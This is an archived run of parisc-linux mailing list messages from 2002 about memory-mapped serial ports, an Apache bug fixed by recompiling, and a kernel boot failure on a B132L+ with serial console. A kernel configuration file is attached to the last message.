Date: Fri, 8 Feb 2002 12:14:05 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20020208121405.C5128@electra.intern.planb.de>
References: <20020207130852.C3306@electra.intern.planb.de> <20020207163107.5E08A482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621049 2793 80.91.229.3 (22 Nov 2014 01:50:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  8 04:14:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.planb.de (aldebaran.planb.de [212.227.14.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C924482B
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 04:14:08 -0700 (MST)
Original-Received: from electra.intern.planb.de (andromeda.planb.de [212.227.19.14])
	by mail.planb.de with esmtp 
	id 16Z8yj-0005NI-00; Fri, 08 Feb 2002 12:14:05 +0100
Content-Disposition: inline
In-Reply-To: <20020207163107.5E08A482A@dsl2.external.hp.com>
User-Agent: Mutt/1.3.23i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13994

On Thu, Feb 07, 2002 at 09:31:07AM -0700, Grant Grundler wrote:
> > - get/set_serial_info have to be enhanced for memory mapped ports
> > - setserial should be enhanced accordingly
> 
> If other non-intel architectures don't have a solution for this.
> My first thought was to assign fake port addresses.

Looks like most other architectures have their own code even when
using 16450 like UARTs (e.g. arch/mips/au1000/common/serial.c).
Especially set_serial_info is architecture dependent, because it just
doesn't make much sense to fiddle with irq and port settings on
parisc, does it? Faking port adresses could be a workaround, but it's
not clean as it might make the ports show up in /proc/ioports ...

But enhancing the test for doubly assigned ports to

      if ((rs_table[i].port == port) &&
          (rs_table[i].iomem_base == req->iomem_base))

might be ok. This code can be found in register_serial().

BTW, drivers/gsc/serial.c does no request_mem_region(). Is this in-
tentional?

> Do PCI serial cards also use MMIO?

I don't know.

> > - baud_base should be initialized correctly for other gsc based ports.
> 
> We'd have to dig a bit for documentation on this.
> Please poke me offline if that doesn't happen in the next week or so.

The hardball ers states a 7.3728MHz (== 16 * 460800) baud rate clock,
which confirms the output of my DMM. So we would need a table holding
the baud_base for each device?

Enrik
-- 
Enrik Berkhan                                         plan b. GmbH
                                                      Rppurrer Strae 4
+49-721-388582 (voice)                                76137 Karlsruhe
+49-721-388581 (fax)                                  Germany



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Telford <paul_telford@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] apache weirdness
Date: Fri, 8 Feb 2002 09:15:52 -0800
Organization: Hewlett Packard
Lines: 16
Approved: news@gmane.org
Message-ID: <200202081715.g18HFqq03560@ros-saab.rose.hp.com>
References: <200202071910.g17JAxv11007@ros-saab.rose.hp.com> <20020208074213.7F177482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621050 2799 80.91.229.3 (22 Nov 2014 01:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  8 10:17:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49FB2482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 10:17:59 -0700 (MST)
Original-Received: from mailhub.rose.hp.com (mailhub.rose.hp.com [15.96.64.24])
	by atlrel7.hp.com (Postfix) with ESMTP id 8952780514D
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 12:17:57 -0500 (EST)
Original-Received: from ros-saab.rose.hp.com (ros-saab.rose.hp.com [15.43.213.64]) by mailhub.rose.hp.com with ESMTP (8.7.1/8.7.3 SMKit7.02) id JAA15721; Fri, 8 Feb 2002 09:17:56 -0800 (PST)
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by ros-saab.rose.hp.com (8.11.1/8.11.1) id g18HFqq03560;
	Fri, 8 Feb 2002 09:15:52 -0800
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20020208074213.7F177482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13995

On Thursday 07 February 2002 11:42 pm, Grant Grundler wrote:
> I think the workaround was to use a different method
> of displaying the files. We weren't able to reproduce
> the bug on a different machine.


I can reproduce it reliably.  What (if anything) can I do to help debug the 
problem further?  


Thanks


 Paul.



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] apache weirdness
Date: Fri, 8 Feb 2002 17:26:06 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20020208172606.C22440@parcelfarce.linux.theplanet.co.uk>
References: <200202071910.g17JAxv11007@ros-saab.rose.hp.com> <20020208074213.7F177482A@dsl2.external.hp.com> <200202081715.g18HFqq03560@ros-saab.rose.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621050 2806 80.91.229.3 (22 Nov 2014 01:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:50 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Paul Telford <paul_telford@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  8 10:26:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 34E7F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 10:26:08 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16ZEmk-0000bw-00; Fri, 08 Feb 2002 17:26:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200202081715.g18HFqq03560@ros-saab.rose.hp.com>; from paul_telford@hp.com on Fri, Feb 08, 2002 at 09:15:52AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13996

On Fri, Feb 08, 2002 at 09:15:52AM -0800, Paul Telford wrote:
> On Thursday 07 February 2002 11:42 pm, Grant Grundler wrote:
> > I think the workaround was to use a different method
> > of displaying the files. We weren't able to reproduce
> > the bug on a different machine.
> 
> 
> I can reproduce it reliably.  What (if anything) can I do to help debug the 
> problem further?  

<puts on apache maintainer's cap>
In the apache-dev package, there's /usr/sbin/apache.dbg which is an
unstripped binary you can use to debug problems like this.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Telford <paul_telford@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] apache weirdness
Date: Fri, 8 Feb 2002 10:46:44 -0800
Organization: Hewlett Packard
Lines: 16
Approved: news@gmane.org
Message-ID: <200202081846.g18Ikiv03649@ros-saab.rose.hp.com>
References: <200202071910.g17JAxv11007@ros-saab.rose.hp.com> <200202081715.g18HFqq03560@ros-saab.rose.hp.com> <20020208172606.C22440@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621050 2816 80.91.229.3 (22 Nov 2014 01:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb  8 11:48:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 71253482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 11:48:54 -0700 (MST)
Original-Received: from mailhub.rose.hp.com (mailhub.rose.hp.com [15.96.64.24])
	by palrel12.hp.com (Postfix) with ESMTP id 0DDA8600190
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Feb 2002 10:48:51 -0800 (PST)
Original-Received: from ros-saab.rose.hp.com (ros-saab.rose.hp.com [15.43.213.64]) by mailhub.rose.hp.com with ESMTP (8.7.1/8.7.3 SMKit7.02) id KAA17050 for <parisc-linux@lists.parisc-linux.org>; Fri, 8 Feb 2002 10:48:48 -0800 (PST)
Original-Received: from localhost (localhost [[UNIX: localhost]])
	by ros-saab.rose.hp.com (8.11.1/8.11.1) id g18Ikiv03649
	for parisc-linux@lists.parisc-linux.org; Fri, 8 Feb 2002 10:46:44 -0800
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20020208172606.C22440@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13997

On Friday 08 February 2002 9:26 am, Matthew Wilcox wrote:
> <puts on apache maintainer's cap>
> In the apache-dev package, there's /usr/sbin/apache.dbg which is an
> unstripped binary you can use to debug problems like this.

I wasn't able to make much progress trying to debug, since my copy of the 
source didnt match up with apache.dbg.  So I used apt-get to get the latest 
source, recompiled and the problem is gone.  So maybe there is some 
incompatibility between my system and the one used to compile the binary .deb 
package...  anyway, problem solved, relatively painlessly.  Thanks for the 
help....


 Paul.



From - Thu Nov 08 21:21:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel-2.4.17-pa22 boot problem B132L+ with serial console
Date: Sat, 9 Feb 2002 14:47:47 +0100
Lines: 542
Approved: news@gmane.org
Message-ID: <99C52A8E-1D63-11D6-BD71-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: multipart/mixed; boundary=Apple-Mail-1-595528930
X-Trace: ger.gmane.org 1416621050 2817 80.91.229.3 (22 Nov 2014 01:50:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:50 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  9 06:47:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7833A482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Feb 2002 06:47:49 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id 3906F49BF9
	for <parisc-linux@lists.parisc-linux.org>; Sat,  9 Feb 2002 14:47:47 +0100 (CET)
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13998

--Apple-Mail-1-595528930
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=US-ASCII;
	format=flowed

Hi,

We tried to compile a 2.4.17-pa22 for B132 with serial console support.

Something weird happens when booting:
we cross compiled first using xgcc 3.0.2 (MacOSX -> hppa-linux), the 
kernel was loaded and then crashed first after the serial driver line 
was displayed, showing a couple of lines like:

Dumping stack from 0x20228000 to 0x2022ba40
WARNING! Stack pointer and cr30 do not correspond!
Dumping virtual address stack instead.

Then after rebooting, it crashed almost immediately showing a lot of 
lines like before.

We then tried to cross compile using the latest xgcc from taggart on an 
x86 (x86-linux -> hppa-linux), and the same .config.
Symptoms were a bit different: the kernel was loaded, but nothing was 
displayed after the line 'if this is the last message you see...' and 
the box does not boot.

Cross compiling on both machines the same kernel configured for 712 
using serial console provided a functional kernel.

config file joined.


Any clue ?


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin


--Apple-Mail-1-595528930
Content-Disposition: attachment;
	filename=confb132cluster
Content-Transfer-Encoding: 7bit
Content-Type: application/octet-stream;
	x-unix-mode=0644;
	name="confb132cluster"

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
# CONFIG_MODULES is not set

#
# Processor type
#
# CONFIG_PA7100 is not set
# CONFIG_PA7200 is not set
CONFIG_PA7100LC=y
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
# CONFIG_SMP is not set
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
# CONFIG_IOMMU_CCIO is not set
CONFIG_GSC=y
CONFIG_GSC_LASI=y
# CONFIG_GSC_WAX is not set
# CONFIG_EISA is not set
# CONFIG_ISA is not set
CONFIG_PCI=y
CONFIG_GSC_DINO=y
# CONFIG_PCI_LBA is not set
# CONFIG_IOSAPIC is not set
# CONFIG_IOMMU_SBA is not set
# CONFIG_SUPERIO is not set
CONFIG_PCI_NAMES=y

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
# CONFIG_BSD_PROCESS_ACCT is not set
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
# CONFIG_BINFMT_SOM is not set
# CONFIG_BINFMT_MISC is not set
# CONFIG_PM is not set

#
# Parallel port support
#
# CONFIG_PARPORT is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
# CONFIG_BLK_DEV_LOOP is not set
# CONFIG_BLK_DEV_NBD is not set
# CONFIG_BLK_DEV_RAM is not set
# CONFIG_BLK_DEV_INITRD is not set

#
# Multi-device support (RAID and LVM)
#
# CONFIG_MD is not set
# CONFIG_BLK_DEV_MD is not set
# CONFIG_MD_LINEAR is not set
# CONFIG_MD_RAID0 is not set
# CONFIG_MD_RAID1 is not set
# CONFIG_MD_RAID5 is not set
# CONFIG_MD_MULTIPATH is not set
# CONFIG_BLK_DEV_LVM is not set

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
# CONFIG_NETLINK_DEV is not set
# CONFIG_NETFILTER is not set
# CONFIG_FILTER is not set
CONFIG_UNIX=y
CONFIG_INET=y
# CONFIG_IP_MULTICAST is not set
# CONFIG_IP_ADVANCED_ROUTER is not set
# CONFIG_IP_PNP is not set
# CONFIG_NET_IPIP is not set
# CONFIG_NET_IPGRE is not set
# CONFIG_ARPD is not set
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
# CONFIG_NET_SCHED is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
# CONFIG_CHR_DEV_ST is not set
# CONFIG_CHR_DEV_OSST is not set
# CONFIG_BLK_DEV_SR is not set
# CONFIG_CHR_DEV_SG is not set

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
CONFIG_SCSI_SYM53C8XX_2=y
CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1
CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16
CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64
# CONFIG_SCSI_SYM53C8XX_IOMAPPED is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
# CONFIG_LASI_82596 is not set
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNLANCE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
CONFIG_NET_PCI=y
# CONFIG_PCNET32 is not set
# CONFIG_ADAPTEC_STARFIRE is not set
# CONFIG_APRICOT is not set
# CONFIG_CS89x0 is not set
CONFIG_TULIP=y
# CONFIG_TULIP_MWI is not set
CONFIG_TULIP_MMIO=y
# CONFIG_DE4X5 is not set
# CONFIG_DGRS is not set
# CONFIG_DM9102 is not set
# CONFIG_EEPRO100 is not set
# CONFIG_LNE390 is not set
# CONFIG_FEALNX is not set
# CONFIG_NATSEMI is not set
# CONFIG_NE2K_PCI is not set
# CONFIG_NE3210 is not set
# CONFIG_ES3210 is not set
# CONFIG_8139CP is not set
# CONFIG_8139TOO is not set
# CONFIG_8139TOO_PIO is not set
# CONFIG_8139TOO_TUNE_TWISTER is not set
# CONFIG_8139TOO_8129 is not set
# CONFIG_SIS900 is not set
# CONFIG_EPIC100 is not set
# CONFIG_SUNDANCE is not set
# CONFIG_TLAN is not set
# CONFIG_VIA_RHINE is not set
# CONFIG_VIA_RHINE_MMIO is not set
# CONFIG_WINBOND_840 is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
# CONFIG_PPP is not set
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
# CONFIG_SERIAL_GSC is not set
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
# CONFIG_MOUSE is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set

#
# Input core support is needed for gameports
#

#
# Input core support is needed for joysticks
#
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_REISERFS_FS is not set
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
# CONFIG_EXT3_FS is not set
# CONFIG_JBD is not set
# CONFIG_JBD_DEBUG is not set
# CONFIG_FAT_FS is not set
# CONFIG_MSDOS_FS is not set
# CONFIG_UMSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
# CONFIG_ISO9660_FS is not set
# CONFIG_JOLIET is not set
# CONFIG_ZISOFS is not set
# CONFIG_MINIX_FS is not set
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
# CONFIG_DEVPTS_FS is not set
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
